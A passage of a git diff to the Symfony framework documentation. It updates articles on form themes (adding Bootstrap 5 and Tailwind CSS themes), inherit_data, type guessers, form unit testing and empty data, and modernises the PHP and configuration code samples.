Twig documentation`: https://twig.symfony.com/doc/3.x/templates.html#test-operator diff --git a/form/form_dependencies.rst b/form/form_dependencies.rst deleted file mode 100644 index 96b067362ff..00000000000 --- a/form/form_dependencies.rst +++ /dev/null @@ -1,12 +0,0 @@ -How to Access Services or Config from Inside a Form -=================================================== - -The content of this article is no longer relevant because in current Symfony -versions, form classes are services by default and you can inject services in -them using the :doc:`service autowiring </service_container/autowiring>` feature. - -Read the article about :doc:`creating custom form types </form/create_custom_field_type>` -to see an example of how to inject the database service into a form type. In the -same article you can also read about -:ref:`configuration options for form types <form-type-config-options>`, which is -another way of passing services to forms. diff --git a/form/form_themes.rst b/form/form_themes.rst index 21b999fbcdd..8b82982edaa 100644 --- a/form/form_themes.rst +++ b/form/form_themes.rst @@ -1,7 +1,3 @@ -.. index:: - single: Forms; Theming - single: Forms; Customizing fields - How to Work with Form Themes ============================ @@ -33,21 +29,24 @@ in a single Twig template and they are enabled in the updated for `Bootstrap 4 CSS framework`_ styles. * `bootstrap_4_horizontal_layout.html.twig`_, same as ``bootstrap_3_horizontal_layout.html.twig`` but updated for Bootstrap 4 styles. +* `bootstrap_5_layout.html.twig`_, same as ``bootstrap_4_layout.html.twig``, but + updated for `Bootstrap 5 CSS framework`_ styles. +* `bootstrap_5_horizontal_layout.html.twig`_, same as + ``bootstrap_4_horizontal_layout.html.twig`` but updated for Bootstrap 5 styles. * `foundation_5_layout.html.twig`_, wraps each form field inside a ``<div>`` element with the appropriate CSS classes to apply the default styles of the version 5 of `Foundation CSS framework`_. * `foundation_6_layout.html.twig`_, wraps each form field inside a ``<div>`` element with the appropriate CSS classes to apply the default styles of the version 6 of `Foundation CSS framework`_. - -.. versionadded:: 5.1 - - The ``foundation_6_layout.html.twig`` was introduced in Symfony 5.1. +* `tailwind_2_layout.html.twig`_, wraps each form field inside a ``<div>`` + element with the absolute minimum styles to make them usable. It is based on the + `Tailwind CSS form plugin`_. .. tip:: - Read the article about the :doc:`Bootstrap 4 Symfony form theme </form/bootstrap4>` - to learn more about it. + Read the articles about :doc:`Bootstrap 4 Symfony form theme </form/bootstrap4>` and :doc:`Bootstrap 5 Symfony form theme </form/bootstrap5>` + to learn more about them. .. _forms-theming-global: .. _forms-theming-twig: @@ -65,7 +64,7 @@ want to use another theme for all the forms of your app, configure it in the # config/packages/twig.yaml twig: - form_themes: ['bootstrap_4_horizontal_layout.html.twig'] + form_themes: ['bootstrap_5_horizontal_layout.html.twig'] # ... .. code-block:: xml @@ -80,7 +79,7 @@ want to use another theme for all the forms of your app, configure it in the http://symfony.com/schema/dic/twig https://symfony.com/schema/dic/twig/twig-1.0.xsd"> <twig:config> - <twig:form-theme>bootstrap_4_horizontal_layout.html.twig</twig:form-theme> + <twig:form-theme>bootstrap_5_horizontal_layout.html.twig</twig:form-theme> <!-- ... --> </twig:config> </container> @@ -88,12 +87,15 @@ want to use another theme for all the forms of your app, configure it in the .. code-block:: php // config/packages/twig.php - $container->loadFromExtension('twig', [ - 'form_themes' => [ - 'bootstrap_4_horizontal_layout.html.twig', - ], + use Symfony\Config\TwigConfig; + + return static function (TwigConfig $twig): void { + $twig->formThemes([ + 'bootstrap_5_horizontal_layout.html.twig', + ]); + // ... - ]); + }; You can pass multiple themes to this option because sometimes form themes only redefine a few elements. This way, if some theme doesn't override some element, @@ -135,7 +137,7 @@ order is important, because each theme overrides all the previous ones): {# apply multiple form themes but only to the form of this template #} {% form_theme form with [ 'foundation_5_layout.html.twig', - 'forms/my_custom_theme.html.twig' + 'form/my_custom_theme.html.twig' ] %} {# ... #} @@ -150,7 +152,7 @@ You can also apply a form theme to a specific child of your form: {% form_theme form.a_child_form 'form/my_custom_theme.html.twig' %} This is useful when you want to have a custom theme for a nested form that's -different than the one of your main form. Specify both your themes: +different from the one of your main form. Specify both your themes: .. code-block:: twig @@ -175,7 +177,7 @@ of form themes: {# ... #} -.. caution:: +.. warning:: When using the ``only`` keyword, none of Symfony's built-in form themes (``form_div_layout.html.twig``, etc.) will be applied. In order to render @@ -211,7 +213,7 @@ upon the form themes enabled in your app): .. code-block:: html - <input type="number" id="form_age" name="form[age]" required="required" value="33"/> + <input type="number" id="form_age" name="form[age]" required="required" value="33"> Symfony uses a Twig block called ``integer_widget`` to render that field. This is because the field type is ``integer`` and you're rendering its ``widget`` (as @@ -237,7 +239,9 @@ In both cases, the ``field-part`` can be any of these valid form field parts: .. raw:: html - <object data="../_images/form/form-field-parts.svg" type="image/svg+xml"></object> + <object data="../_images/form/form-field-parts.svg" type="image/svg+xml" + alt="A wireframe showing all form field parts: form_row, form_label, form_widget, form_help and form_errors." + ></object> Fragment Naming for All Fields of the Same Type ............................................... @@ -273,7 +277,7 @@ form. You can also define this value explicitly with the ``block_name`` option:: use Symfony\Component\Form\Extension\Core\Type\TextType; use Symfony\Component\Form\FormBuilderInterface; - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { // ... @@ -297,7 +301,7 @@ field without having to :doc:`create a custom form type </form/create_custom_fie use Symfony\Component\Form\Extension\Core\Type\TextType; use Symfony\Component\Form\FormBuilderInterface; - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder->add('name', TextType::class, [ 'block_prefix' => 'wrapped_text', @@ -334,10 +338,6 @@ You can also customize each entry of all collections with the following blocks: {% block collection_entry_help %} ... {% endblock %} {% block collection_entry_errors %} ... {% endblock %} -.. versionadded:: 5.1 - - The ``collection_entry_*`` blocks were introduced in Symfony 5.1. - Finally, you can customize specific form collections instead of all of them. For example, consider the following complex example where a ``TaskManagerType`` has a collection of ``TaskListType`` which in turn has a collection of @@ -345,7 +345,7 @@ has a collection of ``TaskListType`` which in turn has a collection of class TaskManagerType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options = []) + public function buildForm(FormBuilderInterface $builder, array $options = []): void { // ... $builder->add('taskLists', CollectionType::class, [ @@ -357,7 +357,7 @@ has a collection of ``TaskListType`` which in turn has a collection of class TaskListType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options = []) + public function buildForm(FormBuilderInterface $builder, array $options = []): void { // ... $builder->add('tasks', CollectionType::class, [ @@ -366,9 +366,9 @@ has a collection of ``TaskListType`` which in turn has a collection of } } - class TaskType + class TaskType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options = []) + public function buildForm(FormBuilderInterface $builder, array $options = []): void { $builder->add('name'); // ... @@ -514,12 +514,15 @@ you want to apply the theme globally to all forms, define the .. code-block:: php // config/packages/twig.php - $container->loadFromExtension('twig', [ - 'form_themes' => [ + use Symfony\Config\TwigConfig; + + return static function (TwigConfig $twig): void { + $twig->formThemes([ 'form/my_theme.html.twig', - ], + ]); + // ... - ]); + }; If you only want to apply it to some specific forms, use the ``form_theme`` tag: @@ -629,10 +632,15 @@ is a collection of fields (e.g. a whole form), and not just an individual field: .. _`bootstrap_3_horizontal_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_3_horizontal_layout.html.twig .. _`bootstrap_4_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_4_layout.html.twig .. _`bootstrap_4_horizontal_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_4_horizontal_layout.html.twig +.. _`bootstrap_5_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_5_layout.html.twig +.. _`bootstrap_5_horizontal_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/bootstrap_5_horizontal_layout.html.twig .. _`Bootstrap 3 CSS framework`: https://getbootstrap.com/docs/3.4/ -.. _`Bootstrap 4 CSS framework`: https://getbootstrap.com/docs/4.4/ +.. _`Bootstrap 4 CSS framework`: https://getbootstrap.com/docs/4.6/ +.. _`Bootstrap 5 CSS framework`: https://getbootstrap.com/docs/5.0/ .. _`foundation_5_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/foundation_5_layout.html.twig .. _`foundation_6_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/foundation_6_layout.html.twig .. _`Foundation CSS framework`: https://get.foundation/ -.. _`Twig "use" tag`: https://twig.symfony.com/doc/2.x/tags/use.html -.. _`Twig parent() function`: https://twig.symfony.com/doc/2.x/functions/parent.html +.. _`tailwind_2_layout.html.twig`: https://github.com/symfony/symfony/blob/master/src/Symfony/Bridge/Twig/Resources/views/Form/tailwind_2_layout.html.twig +.. _`Tailwind CSS form plugin`: https://tailwindcss-forms.vercel.app/ +.. _`Twig "use" tag`: https://twig.symfony.com/doc/3.x/tags/use.html +.. _`Twig parent() function`: https://twig.symfony.com/doc/3.x/functions/parent.html diff --git a/form/inherit_data_option.rst b/form/inherit_data_option.rst index 3321ab2153a..8067e932c5a 100644 --- a/form/inherit_data_option.rst +++ b/form/inherit_data_option.rst @@ -1,6 +1,3 @@ -.. index:: - single: Form; The "inherit_data" option - How to Reduce Code Duplication with "inherit_data" ================================================== @@ -13,13 +10,13 @@ entities, a ``Company`` and a ``Customer``:: class Company { - private $name; - private $website; + private string $name; + private string $website; - private $address; - private $zipcode; - private $city; - private $country; + private string $address; + private string $zipcode; + private string $city; + private string $country; } .. code-block:: php @@ -29,13 +26,13 @@ entities, a ``Company`` and a ``Customer``:: class Customer { - private $firstName; - private $lastName; + private string $firstName; + private string $lastName; - private $address; - private $zipcode; - private $city; - private $country; + private string $address; + private string $zipcode; + private string $city; + private string $country; } As you can see, each entity shares a few of the same fields: ``address``, @@ -52,7 +49,7 @@ Start with building two forms for these entities, ``CompanyType`` and ``Customer class CompanyType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('name', TextType::class) @@ -71,7 +68,7 @@ Start with building two forms for these entities, ``CompanyType`` and ``Customer class CustomerType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('firstName', TextType::class) @@ -94,7 +91,7 @@ for that:: class LocationType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder ->add('address', TextareaType::class) @@ -103,7 +100,7 @@ for that:: ->add('country', TextType::class); } - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'inherit_data' => true, @@ -129,15 +126,20 @@ Finally, make this work by adding the location form to your two original forms:: namespace App\Form\Type; use App\Entity\Company; + use Symfony\Component\Form\AbstractType; + // ... - public function buildForm(FormBuilderInterface $builder, array $options) + class CompanyType extends AbstractType { - // ... + public function buildForm(FormBuilderInterface $builder, array $options): void + { + // ... - $builder->add('foo', LocationType::class, [ - 'data_class' => Company::class, - ]); + $builder->add('foo', LocationType::class, [ + 'data_class' => Company::class, + ]); + } } .. code-block:: php @@ -146,20 +148,23 @@ Finally, make this work by adding the location form to your two original forms:: namespace App\Form\Type; use App\Entity\Customer; - // ... + use Symfony\Component\Form\AbstractType; - public function buildForm(FormBuilderInterface $builder, array $options) + class CustomerType extends AbstractType { - // ... + public function buildForm(FormBuilderInterface $builder, array $options): void + { + // ... - $builder->add('bar', LocationType::class, [ - 'data_class' => Customer::class, - ]); + $builder->add('bar', LocationType::class, [ + 'data_class' => Customer::class, + ]); + } } That's it! You have extracted duplicated field definitions to a separate location form that you can reuse wherever you need it. -.. caution:: +.. warning:: Forms with the ``inherit_data`` option set cannot have ``*_SET_DATA`` event listeners. diff --git a/form/multiple_buttons.rst b/form/multiple_buttons.rst index 74d430b4bb8..9b3c6aa6eec 100644 --- a/form/multiple_buttons.rst +++ b/form/multiple_buttons.rst @@ -1,12 +1,9 @@ -.. index:: - single: Forms; Multiple Submit Buttons - How to Submit a Form with Multiple Buttons ========================================== When your form contains more than one submit button, you will want to check which of the buttons was clicked to adapt the program flow in your controller. -To do this, add a second button with the caption "Save and add" to your form:: +To do this, add a second button with the caption "Save and Add" to your form:: $form = $this->createFormBuilder($task) ->add('task', TextType::class) @@ -17,7 +14,7 @@ To do this, add a second button with the caption "Save and add" to your form:: In your controller, use the button's :method:`Symfony\\Component\\Form\\ClickableInterface::isClicked` method for -querying if the "Save and add" button was clicked:: +querying if the "Save and Add" button was clicked:: if ($form->isSubmitted() && $form->isValid()) { // ... perform some action, such as saving the task to the database diff --git a/form/tailwindcss.rst b/form/tailwindcss.rst new file mode 100644 index 00000000000..0a92bcd1ebc --- /dev/null +++ b/form/tailwindcss.rst @@ -0,0 +1,95 @@ +Tailwind CSS Form Theme +======================= + +Symfony provides a minimal form theme for `Tailwind CSS`_. Tailwind is a *utility first* +CSS framework and provides *unlimited ways* to customize your forms. Tailwind has +an official `form plugin`_ that provides a basic form reset that standardizes their look +on all browsers. This form theme requires this plugin and adds a few basic tailwind +classes so out of the box, your forms will look decent. Customization is almost always +going to be required so this theme makes that easy. + +.. image:: /_images/form/tailwindcss-form.png + :alt: An HTML form showing a range of form types styled using TailwindCSS. + +To use, first be sure you have installed and integrated `Tailwind CSS`_ and the +`form plugin`_. Follow their respective documentation to install both packages. + +If you prefer to use the Tailwind theme on a form by form basis, include the +``form_theme`` tag in the templates where those forms are used: + +.. code-block:: html+twig + + {# ... #} + {# this tag only applies to the forms defined in this template #} + {% form_theme form 'tailwind_2_layout.html.twig' %} + + {% block body %} + <h1>User Sign Up:</h1> + {{ form(form) }} + {% endblock %} + +Customization +------------- + +Customizing CSS classes is especially important for this theme. + +Twig Form Functions +~~~~~~~~~~~~~~~~~~~ + +You can customize classes of individual fields by setting some class options. + +.. code-block:: twig + + {{ form_row(form.title, { + row_class: 'my row classes', + label_class: 'my label classes', + error_item_class: 'my error item classes', + widget_class: 'my widget classes', + widget_disabled_class: 'my disabled widget classes', + widget_errors_class: 'my widget with error classes', + }) }} + +When customizing the classes this way the defaults provided by the theme +are *overridden* opposed to merged as is the case with other themes. This +enables you to take full control of the classes without worrying about +*undoing* the generic defaults the theme provides. + +Project Specific Form Layout +~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If you have a generic Tailwind style for all your forms, you can create +a custom form theme using the Tailwind CSS theme as a base. + +.. code-block:: twig + + {% use 'tailwind_2_layout.html.twig' %} + + {%- block form_row -%} + {%- set row_class = row_class|default('my row classes') -%} + {{- parent() -}} + {%- endblock form_row -%} + + {%- block widget_attributes -%} + {%- set widget_class = widget_class|default('my widget classes') -%} + {%- set widget_disabled_class = widget_disabled_class|default('my disabled widget classes') -%} + {%- set widget_errors_class = widget_errors_class|default('my widget with error classes') -%} + {{- parent() -}} + {%- endblock widget_attributes -%} + + {%- block form_label -%} + {%- set label_class = label_class|default('my label classes') -%} + {{- parent() -}} + {%- endblock form_label -%} + + {%- block form_help -%} + {%- set help_class = help_class|default('my label classes') -%} + {{- parent() -}} + {%- endblock form_help -%} + + {%- block form_errors -%} + {%- set error_item_class = error_item_class|default('my error item classes') -%} + {{- parent() -}} + {%- endblock form_errors -%} + +.. _`Tailwind CSS`: https://tailwindcss.com +.. _`form plugin`: https://github.com/tailwindlabs/tailwindcss-forms diff --git a/form/type_guesser.rst b/form/type_guesser.rst index f990aad4115..106eb4e7742 100644 --- a/form/type_guesser.rst +++ b/form/type_guesser.rst @@ -1,6 +1,3 @@ -.. index:: - single: Forms; Custom Type Guesser - Creating a custom Type Guesser ============================== @@ -16,6 +13,17 @@ type guessers. * :class:`Symfony\\Bridge\\Doctrine\\Form\\DoctrineOrmTypeGuesser` provided by the Doctrine bridge. +Guessers are used only in the following cases: + +* Using + :method:`Symfony\\Component\\Form\\FormFactoryInterface::createForProperty` + or + :method:`Symfony\\Component\\Form\\FormFactoryInterface::createBuilderForProperty`; +* Calling :method:`Symfony\\Component\\Form\\FormInterface::add` or + :method:`Symfony\\Component\\Form\\FormBuilderInterface::create` or + :method:`Symfony\\Component\\Form\\FormBuilderInterface::add` without an + explicit type, in a context where the parent form has defined a data class. + Create a PHPDoc Type Guesser ---------------------------- @@ -36,26 +44,28 @@ This interface requires four methods: Start by creating the class and these methods. Next, you'll learn how to fill each in:: - // src/Form/TypeGuesser/PHPDocTypeGuesser.php + // src/Form/TypeGuesser/PhpDocTypeGuesser.php namespace App\Form\TypeGuesser; use Symfony\Component\Form\FormTypeGuesserInterface; + use Symfony\Component\Form\Guess\TypeGuess; + use Symfony\Component\Form\Guess\ValueGuess; - class PHPDocTypeGuesser implements FormTypeGuesserInterface + class PhpDocTypeGuesser implements FormTypeGuesserInterface { - public function guessType($class, $property) + public function guessType(string $class, string $property): ?TypeGuess { } - public function guessRequired($class, $property) + public function guessRequired(string $class, string $property): ?ValueGuess { } - public function guessMaxLength($class, $property) + public function guessMaxLength(string $class, string $property): ?ValueGuess { } - public function guessPattern($class, $property) + public function guessPattern(string $class, string $property): ?ValueGuess { } } @@ -71,7 +81,7 @@ The ``TypeGuess`` constructor requires three options: * The type name (one of the :doc:`form types </reference/forms/types>`); * Additional options (for instance, when the type is ``entity``, you also - want to set the ``class`` option). If no types are guessed, this should be + want to set the ``class`` option). If no options are guessed, this should be set to an empty array; * The confidence that the guessed type is correct. This can be one of the constants of the :class:`Symfony\\Component\\Form\\Guess\\Guess` class: @@ -80,9 +90,9 @@ The ``TypeGuess`` constructor requires three options: type with the highest confidence is used. With this knowledge, you can implement the ``guessType()`` method of the -``PHPDocTypeGuesser``:: +``PhpDocTypeGuesser``:: - // src/Form/TypeGuesser/PHPDocTypeGuesser.php + // src/Form/TypeGuesser/PhpDocTypeGuesser.php namespace App\Form\TypeGuesser; use Symfony\Component\Form\Extension\Core\Type\CheckboxType; @@ -92,44 +102,35 @@ With this knowledge, you can implement the ``guessType()`` method of the use Symfony\Component\Form\Guess\Guess; use Symfony\Component\Form\Guess\TypeGuess; - class PHPDocTypeGuesser implements FormTypeGuesserInterface + class PhpDocTypeGuesser implements FormTypeGuesserInterface { - public function guessType($class, $property) + public function guessType(string $class, string $property): ?TypeGuess { $annotations = $this->readPhpDocAnnotations($class, $property); if (!isset($annotations['var'])) { - return; // guess nothing if the @var annotation is not available + return null; // guess nothing if the @var annotation is not available } // otherwise, base the type on the @var annotation - switch ($annotations['var']) { - case 'string': - // there is a high confidence that the type is text when - // @var string is used - return new TypeGuess(TextType::class, [], Guess::HIGH_CONFIDENCE); - - case 'int': - case 'integer': - // integers can also be the id of an entity or a checkbox (0 or 1) - return new TypeGuess(IntegerType::class, [], Guess::MEDIUM_CONFIDENCE); - - case 'float': - case 'double': - case 'real': - return new TypeGuess(NumberType::class, [], Guess::MEDIUM_CONFIDENCE); - - case 'boolean': - case 'bool': - return new TypeGuess(CheckboxType::class, [], Guess::HIGH_CONFIDENCE); - - default: - // there is a very low confidence that this one is correct - return new TypeGuess(TextType::class, [], Guess::LOW_CONFIDENCE); - } + return match($annotations['var']) { + // there is a high confidence that the type is text when + // @var string is used + 'string' => new TypeGuess(TextType::class, [], Guess::HIGH_CONFIDENCE), + + // integers can also be the id of an entity or a checkbox (0 or 1) + 'int', 'integer' => new TypeGuess(IntegerType::class, [], Guess::MEDIUM_CONFIDENCE), + + 'float', 'double', 'real' => new TypeGuess(NumberType::class, [], Guess::MEDIUM_CONFIDENCE), + + 'boolean', 'bool' => new TypeGuess(CheckboxType::class, [], Guess::HIGH_CONFIDENCE), + + // there is a very low confidence that this one is correct + default => new TypeGuess(TextType::class, [], Guess::LOW_CONFIDENCE) + }; } - protected function readPhpDocAnnotations($class, $property) + protected function readPhpDocAnnotations(string $class, string $property): array { $reflectionProperty = new \ReflectionProperty($class, $property); $phpdoc = $reflectionProperty->getDocComment(); @@ -161,13 +162,13 @@ instance with the value of the option. This constructor has 2 arguments: ``null`` is guessed when you believe the value of the option should not be set. -.. caution:: +.. warning:: - You should be very careful using the ``guessPattern()`` method. When the - type is a float, you cannot use it to determine a min or max value of the - float (e.g. you want a float to be greater than ``5``, ``4.512313`` is not valid - but ``length(4.512314) > length(5)`` is, so the pattern will succeed). In - this case, the value should be set to ``null`` with a ``MEDIUM_CONFIDENCE``. + You should be very careful using the ``guessMaxLength()`` method. When the + type is a float, you cannot determine a length (e.g. you want a float to be + less than ``5``, ``5.512313`` is not valid but + ``length(5.512314) > length(5)`` is, so the pattern will succeed). In this + case, the value should be set to ``null`` with a ``MEDIUM_CONFIDENCE``. Registering a Type Guesser -------------------------- @@ -187,7 +188,7 @@ and tag it with ``form.type_guesser``: services: # ... - App\Form\TypeGuesser\PHPDocTypeGuesser: + App\Form\TypeGuesser\PhpDocTypeGuesser: tags: [form.type_guesser] .. code-block:: xml @@ -200,7 +201,7 @@ and tag it with ``form.type_guesser``: https://symfony.com/schema/dic/services/services-1.0.xsd"> <services> - <service id="App\Form\TypeGuesser\PHPDocTypeGuesser"> + <service id="App\Form\TypeGuesser\PhpDocTypeGuesser"> <tag name="form.type_guesser"/> </service> </services> @@ -209,9 +210,9 @@ and tag it with ``form.type_guesser``: .. code-block:: php // config/services.php - use App\Form\TypeGuesser\PHPDocTypeGuesser; + use App\Form\TypeGuesser\PhpDocTypeGuesser; - $container->register(PHPDocTypeGuesser::class) + $container->register(PhpDocTypeGuesser::class) ->addTag('form.type_guesser') ; @@ -222,12 +223,12 @@ and tag it with ``form.type_guesser``: :method:`Symfony\\Component\\Form\\FormFactoryBuilder::addTypeGuessers` of the ``FormFactoryBuilder`` to register new type guessers:: - use App\Form\TypeGuesser\PHPDocTypeGuesser; + use App\Form\TypeGuesser\PhpDocTypeGuesser; use Symfony\Component\Form\Forms; $formFactory = Forms::createFormFactoryBuilder() // ... - ->addTypeGuesser(new PHPDocTypeGuesser()) + ->addTypeGuesser(new PhpDocTypeGuesser()) ->getFormFactory(); // ... diff --git a/form/unit_testing.rst b/form/unit_testing.rst index 795fd55c9ea..9603c5bc0d2 100644 --- a/form/unit_testing.rst +++ b/form/unit_testing.rst @@ -1,10 +1,7 @@ -.. index:: - single: Form; Form testing - How to Unit Test your Forms =========================== -.. caution:: +.. warning:: This article is intended for developers who create :doc:`custom form types </form/create_custom_field_type>`. If you are using @@ -47,7 +44,7 @@ The simplest ``TypeTestCase`` implementation looks like the following:: class TestedTypeTest extends TypeTestCase { - public function testSubmitValidData() + public function testSubmitValidData(): void { $formData = [ 'test' => 'test', @@ -55,11 +52,11 @@ The simplest ``TypeTestCase`` implementation looks like the following:: ]; $model = new TestObject(); - // $formData will retrieve data from the form submission; pass it as the second argument + // $model will retrieve data from the form submission; pass it as the second argument $form = $this->factory->create(TestedType::class, $model); $expected = new TestObject(); - // ...populate $object properties with the data stored in $formData + // ...populate $expected properties with the data stored in $formData // submit the data to the form directly $form->submit($formData); @@ -67,11 +64,11 @@ The simplest ``TypeTestCase`` implementation looks like the following:: // This check ensures there are no transformation failures $this->assertTrue($form->isSynchronized()); - // check that $formData was modified as expected when the form was submitted + // check that $model was modified as expected when the form was submitted $this->assertEquals($expected, $model); } - public function testCustomFormView() + public function testCustomFormView(): void { $formData = new TestObject(); // ... prepare the data as you need @@ -88,7 +85,7 @@ The simplest ``TypeTestCase`` implementation looks like the following:: So, what does it test? Here comes a detailed explanation. First you verify if the ``FormType`` compiles. This includes basic class -inheritance, the ``buildForm()`` function and options resolution. This should +inheritance, the ``buildForm()`` method and options resolution. This should be the first test you write:: $form = $this->factory->create(TestedType::class, $formData); @@ -121,10 +118,10 @@ variable exists and will be available in your form themes:: .. tip:: - Use :ref:`PHPUnit data providers <testing-data-providers>` to test multiple - form conditions using the same test code. + Use `PHPUnit data providers`_ to test multiple form conditions using + the same test code. -.. caution:: +.. warning:: When your type relies on the ``EntityType``, you should register the :class:`Symfony\\Bridge\\Doctrine\\Form\\DoctrineOrmExtension`, which will @@ -134,8 +131,8 @@ variable exists and will be available in your form themes:: the ``KernelTestCase`` instead and use the ``form.factory`` service to create the form. -Testings Types Registered as Services -------------------------------------- +Testing Types Registered as Services +------------------------------------ Your form may be used as a service, as it depends on other services (e.g. the Doctrine entity manager). In these cases, using the above code won't work, as @@ -150,27 +147,27 @@ make sure the ``FormRegistry`` uses the created instance:: namespace App\Tests\Form\Type; use App\Form\Type\TestedType; - use Doctrine\Persistence\ObjectManager; + use Doctrine\ORM\EntityManager; use Symfony\Component\Form\PreloadedExtension; use Symfony\Component\Form\Test\TypeTestCase; // ... class TestedTypeTest extends TypeTestCase { - private $objectManager; + private MockObject&EntityManager $entityManager; protected function setUp(): void { // mock any dependencies - $this->objectManager = $this->createMock(ObjectManager::class); + $this->entityManager = $this->createMock(EntityManager::class); parent::setUp(); } - protected function getExtensions() + protected function getExtensions(): array { // create a type instance with the mocked dependencies - $type = new TestedType($this->objectManager); + $type = new TestedType($this->entityManager); return [ // register the type instances with the PreloadedExtension @@ -178,7 +175,7 @@ make sure the ``FormRegistry`` uses the created instance:: ]; } - public function testSubmitValidData() + public function testSubmitValidData(): void { // ... @@ -213,13 +210,13 @@ allows you to return a list of extensions to register:: class TestedTypeTest extends TypeTestCase { - protected function getExtensions() + protected function getExtensions(): array { $validator = Validation::createValidator(); - // or if you also need to read constraints from annotations + // or if you also need to read constraints from attributes $validator = Validation::createValidatorBuilder() - ->enableAnnotationMapping() + ->enableAttributeMapping() ->getValidator(); return [ @@ -242,3 +239,14 @@ guessers using the :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestC :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeExtensions` and :method:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase::getTypeGuessers` methods. + +When testing the themes of your forms, consider making your test extend the +:class:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase` class. This saves a lot +of boilerplate and code duplication by implementing the +:class:`Symfony\\Component\\Form\\Test\\FormIntegrationTestCase` methods for you. +All you need to do is to implement the +:method:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase::getTemplatePaths`, the +:method:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase::getTwigExtensions` and +the :method:`Symfony\\Bridge\\Twig\\Test\\FormLayoutTestCase::getThemes` methods. + +.. _`PHPUnit data providers`: https://docs.phpunit.de/en/9.6/writing-tests-for-phpunit.html#data-providers diff --git a/form/use_empty_data.rst b/form/use_empty_data.rst index 6a567286094..5387820693b 100644 --- a/form/use_empty_data.rst +++ b/form/use_empty_data.rst @@ -1,6 +1,3 @@ -.. index:: - single: Form; Empty data - How to Configure empty Data for a Form Class ============================================ @@ -9,7 +6,7 @@ form class. This empty data set would be used if you submit your form, but haven't called ``setData()`` on your form or passed in data when you created your form. For example, in a controller:: - public function index() + public function index(): Response { $blog = ...; @@ -53,15 +50,13 @@ that constructor with no arguments:: class BlogType extends AbstractType { - private $someDependency; - - public function __construct($someDependency) - { - $this->someDependency = $someDependency; + public function __construct( + private object $someDependency, + ) { } // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'empty_data' => new Blog($this->someDependency), @@ -96,10 +91,10 @@ The closure must accept a ``FormInterface`` instance as the first argument:: use Symfony\Component\OptionsResolver\OptionsResolver; // ... - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ - 'empty_data' => function (FormInterface $form) { + 'empty_data' => function (FormInterface $form): Blog { return new Blog($form->get('title')->getData()); }, ]); diff --git a/form/validation_group_service_resolver.rst b/form/validation_group_service_resolver.rst deleted file mode 100644 index e497a7556df..00000000000 --- a/form/validation_group_service_resolver.rst +++ /dev/null @@ -1,68 +0,0 @@ -How to Dynamically Configure Form Validation Groups -=================================================== - -Sometimes you need advanced logic to determine the validation groups. If they -can't be determined by a callback, you can use a service. Create a service -that implements ``__invoke()`` which accepts a ``FormInterface`` as a -parameter:: - - // src/Validation/ValidationGroupResolver.php - namespace App\Validation; - - use Symfony\Component\Form\FormInterface; - - class ValidationGroupResolver - { - private $service1; - - private $service2; - - public function __construct($service1, $service2) - { - $this->service1 = $service1; - $this->service2 = $service2; - } - - /** - * @param FormInterface $form - * @return array - */ - public function __invoke(FormInterface $form) - { - $groups = []; - - // ... determine which groups to apply and return an array - - return $groups; - } - } - -Then in your form, inject the resolver and set it as the ``validation_groups``:: - - // src/Form/MyClassType.php; - namespace App\Form; - - use App\Validator\ValidationGroupResolver; - use Symfony\Component\Form\AbstractType - use Symfony\Component\OptionsResolver\OptionsResolver; - - class MyClassType extends AbstractType - { - private $groupResolver; - - public function __construct(ValidationGroupResolver $groupResolver) - { - $this->groupResolver = $groupResolver; - } - - // ... - public function configureOptions(OptionsResolver $resolver) - { - $resolver->setDefaults([ - 'validation_groups' => $this->groupResolver, - ]); - } - } - -This will result in the form validator invoking your group resolver to set the -validation groups returned when validating. diff --git a/form/validation_groups.rst b/form/validation_groups.rst index 2dfe2889de9..3157ef7bc5b 100644 --- a/form/validation_groups.rst +++ b/form/validation_groups.rst @@ -1,42 +1,163 @@ -.. index:: - single: Forms; Validation groups +Configuring Validation Groups in Forms +====================================== -How to Define the Validation Groups to Use -========================================== +If the object handled in your form uses :doc:`validation groups </validation/groups>`, +you need to specify which validation group(s) the form should apply. -Validation Groups ------------------ +To define them when :ref:`creating forms in classes <creating-forms-in-classes>`, +use the ``configureOptions()`` method:: -If your object takes advantage of :doc:`validation groups </validation/groups>`, -you'll need to specify which validation group(s) your form should use. Pass -this as an option when :ref:`creating forms in controllers <creating-forms-in-controllers>`:: + use Symfony\Component\OptionsResolver\OptionsResolver; + + public function configureOptions(OptionsResolver 